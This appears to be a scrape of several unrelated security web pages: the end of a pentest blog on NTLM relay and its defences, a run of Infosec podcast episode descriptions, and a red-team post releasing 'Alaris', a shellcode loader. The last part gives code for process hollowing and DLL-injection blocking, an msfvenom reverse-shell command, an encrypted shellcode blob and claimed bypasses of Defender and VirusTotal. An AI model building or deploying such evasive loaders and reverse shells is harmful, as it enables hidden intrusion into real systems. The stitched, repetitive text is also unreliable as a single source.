And of course, while I’m writing this, the ZeroLogon vulnerability was published, ensuring pentesters a healthy couple years of directly compromising domain controllers without going through everything I just discussed!
So how can you defend against this?
The initial part of the attack process is based on the NTLM authentication protocol and its weakness against relay attacks. Obviously if you disable NTLM authentication altogether and exclusively use Kerberos, this particular problem is solved, but in practice, this is near impossible to do.
One possibility is to disable LLMNR and NBNS, but it won’t prevent malicious users from inserting images into unencrypted HTTP traffic or cases such as the printer big discussed above. Thankfully, there is another solution which is the fact of requiring SMB signing for both clients and servers. This effectively prevents the relaying attacks on the SMB protocol. Unfortunately, NTLM authentication can also be used in cross-protocol attacks, where an authentication to an HTTP server for example can be relayed to a SMB server or vive-versa. Other protections such as channel binding or proper use of TLS are required to mitigate these attacks. A nice article regaring NTLM relay and its mitigations can be found here.
The second part of the attacks relies on the ability to use mimikatz to compromise credentials and attack systems which are used simultaneously administered by lower privileged accounts and used by higher privileged accounts. The first recommendation i’d give here is to not rely on your anti-virus to block Mimikatz. There are so many different evasion techniques available, that one of them will always end up working. Instead, prefer the protection of LSASS with Credential Guard. I also highly recommend the use of the Protected Users group for any privileged account. Similarly, they should all be marked with the Account is sensitive and cannot be delegated property to avoid them being abused in Kerberos delegation attacks.
And finally the harder part is implementing a proper privileged account management hygiene. To avoid privilege escalation through a compromised system, it must be impossible for a more privileged account to be used on a system where a lesser account has administrative privileges. A tiered administration approach can be used, such as the one proposed by Microsoft here.
Microsoft’s administrative tiers
I’d recommend reading the whole article, but i’ll attempt to very briefly summarise the key points:
Setup a minimum of 3 administrative tiers/groups in the Active Directory. This would be for domain admins, server admins and workstation admins for example.
Implement the concept of Privileged Access Workstations (PAW) for these administrators. This is actually harder to implement than one might think, especially since most companies will not want to provide multiple workstations for administrators. One relatively straightforward way of doing this is using a hardened “base” laptop for administrative purposes and login to a VDI or virtual machine for all “user” tasks.
Restrict access and logon between administrative tiers with firewalls and group policies
Use Windows Firewall to allow access to the various tiers only from authorised PAWs for the associated tier.
Implement Multi-factor authentication for administrators
Put all admin accounts in the Protected Users group
Mark all admins as sensitive for delegation
If you feel like this is not enough, you could also go for an ESAE Administrative Forest (also sometimes called Red Forest).
One constant that I have seen throughout the years and companies where I have performed tests is the lack of proper internal network filtering. Even though it is getting rarer nowadays to find a completely “flat” network with all workstations and servers on the same subnet, there is rarely any firewalling performed between subnets and pretty much never any within a given subnet. This is a shame as proper filtering can prevent a great number of exploits by simply restricting access to the vulnerable services.
I’ve also regularly been asked the question “What solution can we buy to protect against this or prevent that?”. But in most cases, it is a lot better to properly setup and configure a system which is already in place (such as Windows and Active Directory for example) rather than acquire a new solution that will just increase the overall attack surface. Security products can include security vulnerabilities, as has been demonstrated numerous times.
EDR solutions or “next-generation” anti-viruses are all the rage right now, promising to detect malicious payloads and behaviours. Even though they definitely provide an additional hurdle for intruders, a skilled attacker will probably always be able to circumvent the solution, with techniques such as the ones discussed by my colleague @plowsechere and here. Again, relying on a specific security solution rather than applying defense in depth techniques is not the way to go.
What’s next?
Supposing all companies apply the protections discussed above such that NTLM relaying is no longer possible, credentials are protected in memory and domain admin accounts cannot be compromised any more. How will pentests evolve? I’m pretty sure this will depend on new quality tools being developed and released, as the ones discussed in this post have shaped the way pentests are performed now.
One thing that is important to note is that domain administrator accounts are not actually all that useful in a targeted attack. During pentests they are always seen as the main objective because they essentially grant access to everything in an organisation, but a real attacker does not need access to everything. If appropriately targeted, a single non-administrator account can be sufficient to gain access to a specific piece of information. Figuring out which account has that specific access and where it might be compromised will be all the more important.
If we imagine that credentials cannot be compromised in-memory any more, I believe attackers will resort to older techniques such as key logging or even just phishing to get a victim’s credentials. This however assumes that passwords will remain as the main authentication factor. Hopefully this won’t be the case, but currently it looks like there is still some time ahead of us before they are replaced by something better.
As to how access to a workstation or server is gained in the first place, I’m confident new techniques and vulnerabilities will arise, be they within Windows or other third party solutions that are used by all and updated much less frequently. Backup or automation solutions seem like strong contenders. However, if companies decide to apply appropriate firewaling rules, these vulnerabilities may never actually be exploited, and attackers may have to rely only on compromised accounts to achieve their purposes, meaning that appropriately managing privileges will remain extremely important.
I’m obviously not a psychic and have no idea what will really happen, but if any of the information in this post can help someone better prepare against current (or future?) attack techniques, it will have served some purpose!
Help your C-suite get serious about cybersecurity with today’s episode, featuring Mathieu Gorge. Using his Five Pillars of Security Framework and his book, The Cyber Elephant in the Boardroom, Mathieu takes complex, confusing regulatory frameworks and maps them in a language that non tech-fluent board members can understand.
Mathieu Gorge is the author of the new ForbesBooks release, The Cyber Elephant in the Boardroom: Cyber-Accountability with the Five Pillars of Security Framework. He is also the CEO and founder of VigiTrust, a cybersecurity company with clients in 120 countries. Mathieu has over 20 years of IT security and risk management experience and is much-sought after for his expertise. As an authority on cybersecurity solutions, he has been asked to speak at conferences including RSA, ISSA and ISACA.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
It’s been a busy week for cybersecurity professionals as they respond to the SolarWinds breach. On December 13, the Cybersecurity and Infrastructure Security Agency (CISA) issued an emergency directive to immediately “disconnect or power down SolarWinds Orion products" as they were being actively exploited by malicious actors.
Infosec Skills author and KM Cyber Security managing partner Keatron Evans is helping numerous clients respond to the breach. In this live discussion and incident response demo (recorded Friday, December 18) he covers:
– What happened with the SolarWinds supply chain attack – Immediate action you can take to protect your systems – Industry responses to help mitigate the incident – Live demo of Snort, memory forensics and Zeek – Q&A with live attendees
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Ever thought of hiring a ransomware negotiator, or becoming one yourself? On today’s episode, Kurtis Minder of GroupSense tells us what makes a good ransomware negotiator, why setting the right tone is crucial in a successful negotiation and why, in the right situation, you can get away with referring to a ransomer as “grasshopper.”
We’re also excited to announce a new, hands-on training series called Cyber Work Applied. Every week, expert Infosec instructors and industry practitioners teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Check out the link below to start learning.
As the CEO and co-founder of GroupSense, Kurtis Minder leads a team of world-class analysts and technologists providing custom cybersecurity intelligence to some of the globe’s top brands. The company’s analysts conduct cyber research and reconnaissance and map the threats to client risk profiles. Kurtis arrived at GroupSense after more than 20 years in roles spanning operations, design and business development at companies like Mirage Networks (acquired by Trustwave), Caymas Systems (acquired by Citrix) and Fortinet (IPO).
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Let’s talk about the practice of finding vulnerabilities! For Ted Harrington, Executive Partner of ISE, it’s much more than a job, it’s a life mission. Ted joins the Cyber Work Podcast to discuss being part of the first team to hack the iPhone, as well as thinking like a hacker to avoid being hacked yourself. He also gives advice for people who would rather sell their wares online this holiday season than spend all day thinking about security. The world has been moving in the direction of holiday shopping online for quite some time now, but with things being what they are in 2020, that trend is likely to grow exponentially upward as stores become either closed to the public or only open to a few people at a time for safety. Either way, that means a lot of online transactions, and a lot of juicy targets for cybercriminals.
Ted Harrington, Executive Partner at ISE is finding new ways to protect digital assets. He's helped companies like Disney, Amazon, Google, Netflix and Adobe fix tens of thousands of security vulnerabilities. His team at ISE is composed of ethical hackers known for being the first to hack the iPhone, where he applies his think-like-a-hacker mentality to constantly adapt to fresh security and software development challenges.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Dive into all things Apple security with today’s guest, Kelli Conlin, Security Solutions Specialist at Jamf. Learn about securing devices across multiple operating systems, the hidden-in-plain-sight Apple security Bible, and why Kelli’s mom isn’t allowed to use the 15-year-old Mac laptop Kelli is still hanging on to after all these years.
Kelli Conlin is a Security Solutions Specialist at Jamf focused on helping organizations be more secure with Apple. Prior to joining Jamf, Kelli was an Intelligence Analyst in the U.S. Air Force supporting special operations before starting an IT career path. Kelli currently lives in Tampa, FL with her husband, son, two cats and a miserable husky.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Today we’re talking cloud security and work-from-home. If you’ve ever checked your work email on your personal phone – I know you have, because we’ve all done it! – or touched up some time-sensitive spreadsheets on the same ipad your kids use to play Animal Crossing, Terence Jackson, Chief Information Security & Privacy Officer of Thycotic, is going to tell you how to tighten up your security protocols to ensure that work-from-home doesn’t become breach-from-home!
With more than 17 years of public and private sector IT and security experience, Terence Jackson is responsible for protecting the company’s information assets. In his role, he currently leads a corporate-wide information risk management program. He identifies, evaluates and reports on information security practices, controls and risks in order to comply with regulatory requirements and to align with the risk posture of the enterprise. Prior to joining Thycotic, Terence was the Director of Cybersecurity and Professional Services for TSI, a Virginia based Inc. 5000 company. He has also worked as a Senior Security Consultant for Clango, Inc., a top Identity and Access Management (IAM) consultancy. He was featured in and also was a contributor to the book “Tribe of Hackers.” About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
The final episode in our two-week long daily series includes four guests from the past two podcasts: David Hansen, Senior Analyst, Corporate IT Security & Compliance for Brookfield Renewable; Dan Teitsma, Information Security Specialist/Program Manager for Amway; Donna Gomez, Security Risk & Compliance Analyst for Johnson County Government in the State of Kansas; and Tomm Larson, Cyber Security Awareness Lead at Idaho National Laboratory. Our guests, along with moderator Tyler Schultz, answered questions that were sent in live during our virtual Infosec Inspire conference in September, including topics like the changes in awareness strategies in the face of mass work-from-home scenarios due to COVID, key traits to look for when hiring security awareness storytellers, and more.
Thanks for joining us for this 12-episode series. We’ll return on Monday with our normal weekly episodes.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
The old saying goes, it takes a village to raise a child. In the case of Brookfield Renewable’s Senior Analyst David Hansen and Amway’s Information Security Specialist Dan Teitsma, their village is global. It takes a collaborative network of peers to plan and manage a worldwide security awareness and training program. If that sounds daunting, let Dan and David walk you through their blueprints for getting buy-in from stakeholders and designing feedback loops that allow them to tailor their programs to be culturally relevant and appropriate to employees.
For twelve days in November, Cyber Work will be releasing a new episode every single day. In these dozen episodes, we’ll discuss career strategies, hiring best practices, team development, security awareness essentials, the importance of storytelling in cybersecurity, and answer some questions from real cybersecurity professionals and newcomers.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Communication, creativity and empathy are crucial in shifting from what we call a “have-to” security mindset (i.e., “I have to take this precaution because IT said so”) to a “want-to” mindset, which suggests employee buy-in to a company’s security policy beyond simply ticking off a to-do box or watching a training video. In today’s episode, Donna Gomez, Security Risk and Compliance Analyst for Johnson County Government in the State of Kansas, and Tomm Larson, Cyber Security Awareness Lead at Idaho National Laboratory, share security awareness and training strategies for putting learner experiences first, engaging employees and building your team with the right blend of talents to foster a strong security culture.
For twelve days in November, Cyber Work will be releasing a new episode every single day. In these dozen episodes, we’ll discuss career strategies, hiring best practices, team development, security awareness essentials, the importance of storytelling in cybersecurity, and answer some questions from real cybersecurity professionals and newcomers.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
In today’s episode, two guests from our September Infosec Inspire event answer all questions related to security awareness. Keynote speaker Jinan Budge, Principal Security and Risk Analyst at Forrester, and Bruce Hallas of the “Rethinking the Human Factor” podcast took questions from our virtual audience, including where to focus your time and budget in educating your staff at times other than Security Awareness Month, picking employees to be security champions, and maturing your organization’s security culture.
For twelve days in November, Cyber Work will be releasing a new episode every single day. In these dozen episodes, we’ll discuss career strategies, hiring best practices, team development, security awareness essentials, the importance of storytelling in cybersecurity, and answer some questions from real cybersecurity professionals and newcomers.
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Today, I’m releasing Alaris, a new shellcode loader that will utilize many of the previous techniques discussed within this blog as well as add a few new ones. We’re going to use known and widely used tactics that I, and many other Red Teams, have been using for a while. The best documentation (easiest to digest and implement) on many of these TTPs is available on ired.team. I will include documentation/links everywhere in this post.
The primary goal of this loader is proactive protection and self-sufficiency. I want to rely mostly on the code we write for the heavy (malicious) lifting. With that said, I am still going to use extraordinarily helpful libraries such as windows.h and vectors. However, the more self-sufficient we become and the lower we execute our code, the less noise we make and that’s a damn good thing as seen within the detection portion of this post.
Overview
In efforts to help mitigate any issues on your end, here are my development environment specifics.
System: Windows 10 (Build 17763)
IDE: Visual Studio 2019
Language: C, C++, x86 ASM (VS19 Project is Visual C++)
Loader.cpp – Shellcode Loader
Cryptor.cpp – Shellcode Encryption
Alaris is a shellcode loading application utilizing the Process Hollowing technique. There are going to be two (2) distinct processes that we’ll start and analyze. In the graphic below I detail both of the processes where Red is the loader process and Green is the hollowed (child) process.
The Parent Process [loader.exe]: This is the process that is going to decode, decrypt, and add the shellcode to a hollowed process.
Shellcode decryption via aes.c (AES -CBC 256)
Shellcode decoding via base64.cpp
Direct x86 Syscalls via low.asm (Thanks to SysWhipers) using NtQueueApcThread()to add shellcode.
The Hollowed (Child) Process [mobsync.exe]:The CreateProcess()Child process. We’re using mobsync.exe here but there are many different executables you can use.
There are several tactics we’re using to not only protect our initial execution but also our child (hollowed) process. Let’s go through each of them at a pretty high level.
Shellcode Encryption
Within this loader is an embedded AES (128, 192, 256) (ECB, CTR, CBC) implementation. Not relying on Windows Crypto API’s or known libraries, such as Crypto++, helps limit our noise and overall footprint.
We’re encrypting our shellcode with AES-CBC 256. The key and iv live in the code and are not obfuscated, encoded, etc. The primary purpose of encrypting our shellcode is to defeat static signature based detection (i.e., \xFC\xE8, \xFC\x48). We’re not going to bypass entropy detection or the good job Windows Defender does at analyzing large Base64 blobs with high entropy. However, if we used a staged payload or a small payload, we can circumvent most EDR systems simply by encrypting our shellcode.
All Shellcode encryption is done via Cryptor.exe which, is part of the Visual Studio project.
Direct x86 Syscalls
Direct Syscalls allow us to mitigate using ntdll.dll for a large majority of the process hollowing. We’re executing the syscalls ourselves via x86 assembly located in low.asm and as such, we’re staying quieter and executing our code at a lower level. This significantly decreases the likelihood of detection.
I’ve gone pretty deep into direct x86 Syscalls for Process Injection using both CreateRemoteThread() and QueueUserAPC() in these two posts:
Preventing 3rd Party DLLs from Injecting into your Malware
We’re blocking all non-Microsoft DLL’s (i.e.,DLL’s that have not been signed my Microsoft) from hooking/injecting into our process (Both the Parent and Child). Keep in mind, there are a few EDR solutions out there that have co-signed drivers (Company + Microsoft). To get a better understanding on how this works and why, I would suggest reading iread.team’s write up.
// Disallow non-microsoft signed DLL's from hooking/injecting into our CreateProcess():
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
// Disallow non-MSFT signed DLL's from injecting
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
sp.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));
PPID Spoofing
We’re spoofing the parent process ID of our child process (hollowed process). We want to make it look like this process was spawned organically (explorer.exe -> mobsync.exe) rather than the true path of execution (loader.exe -> mobsync.exe).
This is a fairly simple technique that I find is more fun for the Blue Team to find than it is really helping me to be sneaky. However, it’s still a bit sneaky considering at first glance, it does look like our execution path is not suspect and may blow past the radar of some teams.
Overwrite Shellcode
This is not full proof and will not stop many Blue Teams from dumping your shellcode if they get a hold of your binary. This is simply a cleanup method to remove your shellcode from memory as good measure.
Alaris Build & Execution
Let’s walk through the build and execution path from start to shell. I’ve generated a simple reverse shell with msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -f raw >> 64b_443_localhost_revshell.bin
Building
Included in this package is a cryptor. To encrypt, simply build the Visual Studio project as-is and execute cryptor.exe with the path of a raw (binary) shellcode file.
λ cryptor.exe
Usage: cryptor.exe <payload.bin>
Example cryptor.exe C:\Users\admin\shellcode.bin
λ cryptor.exe ..\..\..\test\64b_443_localhost_revshell.bin
[i] Replace shellcode string in loader with one below:
shellcode = "z33lrIYAG7pcIAZfrX7cRKLyNwr1w+zD1pSGQXA/0emhQBn2C1z5SjOjyGu5FL2Wrq3xADX+MDyaZs/F8BIBXcqPK1TFdESehzl8uO8+NT+Mda0BjZSGUcd0qs3PO4klwSOhSDrlTUhjCe9+7QoaFc8g0yTIGiAP674VA6URsKd9y0szNTBgSgn/L6gB2WpfGQ4UBaHGDiQ8GwrzedHh/eTbhZtS2/9HEoVqkoAqG2gts1rWt4ckzvEJRM8v4zJxLzMEtNnf3e9TBaG1CNfWCWg+SPIfW2L6SLUA16EadwwSihhKk84KGQyTEgQ9Ue1/VMt30TREUC46P3IvidPVG6LgIQs5pHXYEPPBBV2vCufLCQ3F6ChFwMhZJvzRF/30P6+POoyFAMHvwSrebSGiliwWgrqcAvRPuWxcu3T5DdqEXoDzESk75W8n4kGZWI3cgiVvDpTt3vFST2gdW7j2ri75T0P5Ut1HWAxGr75ir68RX4HB8Mli78eP6UcLuFHULrz5W0tpA3yyefUapF7mK+gGbuFZ6pyLRrkG2XWLmo1Ji1/2yGzuHQ0Q4HacssCuN/peqkKbm++unMiu/D3lGlH2KGdCBhBEubVULKFFvZ0=";
Replace the shellcode variable in the main function of loader.cpp with the new shellcode variable generated by cryptor.exe
Build a Release version.
Execution
I’m using Process Hacker to review both the Parent and Child (hollowed) processes. Let’s fist take a look at the Parent process attributes.
The image below shows details of the loader.exe process. We can verify that our DLL Signature requirement, which disallows all non-Microsoft signed DLL’s from injecting into our process, is enabled.
Moving into the mobsync.exe process generated by our CreateProcess() call we can verify that the PPID is in-fact explorer.exe due to our spoofing and we have 3rd party DLL injection blocking similar to loader.exe.
EDR Bypass and Detection Analysis
I generated two (2) Alaris loaders with different MSFVenom payloads:
loader_rev.exe – Compiled with a reverse shell (127.0.0.1:443)
loader_notepad.exe – Compiled with shellcode that executes notepad.exe
Sysmon Events
Sysmon generated five (5) events during loader_rev.exe execution. We do not see suspect process injection events due to us using NtQueueUserAPC(). If we were to use NtCreateRemoteThread(), we would see a Sysmon Event Type 8.
There are two (2) process creates. One for Loader and the other for modsync.exe executing the shellcode.
The interesting thing here is that the second Process Create does not explicitly call out mobsync.exe being executed. Instead, it detailed mobsync.exe as being the parent process and shows the shellcode executed via cmd within the CommandLine field. This must be a byproduct of the process hollowing but, I am not 100% on why just yet.
Bypassing Defender
Executing loader_notepad.exe on a updated and fully patched Windows 10 system did not result in any detection’s from Defender. The results were identical with loader_rev.exe.
Virus Total
I tested both versions of Alaris against Virus Total to get a better idea on the overall detection / suspect percentage and did not have any. This is possibly a symptom of not having common indicators such as a URI string or an IP address (other than 127.0.0.1) embedded in either the shellcode or the source.
The TTPs used within Alaris are common among Red Teams and used within several C2 frameworks (Cobalt Strike for example). Alaris is a simple and small example of how you can customize these tactics to circumvent several different detection mechanisms as well as make your code look more “legitimate” in the context of Microsoft applications.
